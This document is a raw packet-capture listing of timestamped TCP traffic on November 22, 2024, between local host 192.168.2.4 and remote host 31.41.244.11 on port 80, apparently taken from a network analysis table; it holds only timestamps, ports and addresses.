Nov 22, 2024 04:12:11.980737925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.980839968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.980891943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.981889009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.981945038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.982004881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.982055902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.983103991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.983218908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.983248949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.983282089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.984291077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.984395981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.984415054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.984476089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.985476971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.985555887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.985593081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.985647917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.986675978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.986728907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.986807108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.986859083 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.987847090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.987900972 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.987991095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.988056898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.989073992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.989128113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.989170074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.989222050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.990268946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.990318060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.990402937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.990453005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.991451025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.991534948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.991564989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.991615057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.992620945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.992672920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.992717981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.992774963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.993828058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.993961096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.993973017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.994010925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.995038033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.995085001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.995094061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.995148897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.996217012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.996278048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.996318102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.996370077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.997379065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.997428894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.997518063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.997567892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.998590946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.998641014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.998686075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.998733997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.999793053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.999844074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.999988079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.000039101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.000989914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.001039982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.001096010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.001163006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.002162933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.002212048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.002271891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.002320051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.003365040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.003420115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.003473997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.003523111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.004560947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.004609108 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.004652977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.004699945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.005780935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.005799055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.005832911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.005832911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.006937981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.006984949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.007035971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.007083893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.146744967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.146836042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.146955967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.147020102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.147115946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.147186995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.147226095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.147275925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.148263931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.148313999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.148353100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.148403883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.149391890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.149442911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.149507999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.149557114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.150578022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.150628090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.150764942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.150815010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.151758909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.151808977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.151881933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.151931047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.152964115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.153016090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.153079987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.153127909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.154148102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.154197931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.154242992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.154304028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.155327082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.155380964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.155426025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.155488014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.156497002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.156546116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.156620026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.156670094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.157684088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.157753944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.157788038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.157839060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.158874989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.158925056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.158965111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.159013033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.160049915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.160096884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.160106897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.160139084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.161242008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.161293030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.161372900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.161422014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.162437916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.162492990 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.162542105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.162585020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.163630009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.163681030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.163741112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.163790941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.164808989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.164858103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.164958000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.165007114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.165988922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.166038036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.166084051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.166132927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.167201996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.167253017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.167299032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.167351007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.168381929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.168450117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.168483973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.168534040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.169550896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.169599056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.169723988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.169773102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.170753002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.170804977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.170849085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.170912027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.171931982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.171981096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.172023058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.172070980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.173120022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.173172951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.173222065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.173275948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.174290895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.174339056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.174382925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.174446106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.175471067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.175523043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.175647974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.175698042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.176656008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.176706076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.176749945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.176799059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.177850962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.177897930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.177936077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.177989960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.179047108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.179121017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.179162025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.179208994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.180217981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.180268049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.180309057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.180356979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.181509972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.181560993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.181642056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.181687117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.182611942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.182662010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.182759047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.182802916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.183773041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.183823109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.183868885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.183926105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.184986115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.185048103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.185075998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.185127974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.186135054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.186184883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.186192989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.186240911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.187340021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.187393904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.187465906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.187515020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.188556910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.188606024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.188667059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.188715935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.189743042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.189810991 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.189873934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.189922094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.190890074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.190937996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.190982103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.191032887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.192076921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.192126989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.192186117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.192234993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.193294048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.193346977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.193397999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.193447113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.194457054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.194511890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.194554090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.194602966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.195630074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.195681095 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.195724010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.195771933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.196821928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.196880102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.196921110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.196989059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.197995901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.198048115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.198101997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.198151112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.199181080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.199229956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.199285030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.199352026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.200404882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.200474024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.200625896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.200673103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.201565027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.201610088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.201672077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.201724052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.202744961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.202795029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.202841043 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.202888966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.203938007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.203994036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.204013109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.204061031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.205113888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.205163956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.205239058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.205286026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.206280947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.206331015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.206393003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.206442118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.207480907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.207530022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.207591057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.207640886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.208616018 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.208666086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.347795010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.347855091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.347930908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.348280907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.348531961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.348572969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.348598003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.348637104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.349747896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.349859953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.349914074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.350895882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.350954056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.350997925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.351047993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.352081060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.352163076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.352180958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.352231979 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.353302956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.353357077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.353394985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.353446007 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.354446888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.354551077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.354588032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.354646921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.355639935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.355765104 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.355818987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.356832027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.356934071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.356991053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:12.358011007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:12.358062983 CET	49760	80	192.168.2.4	31.41.244.11
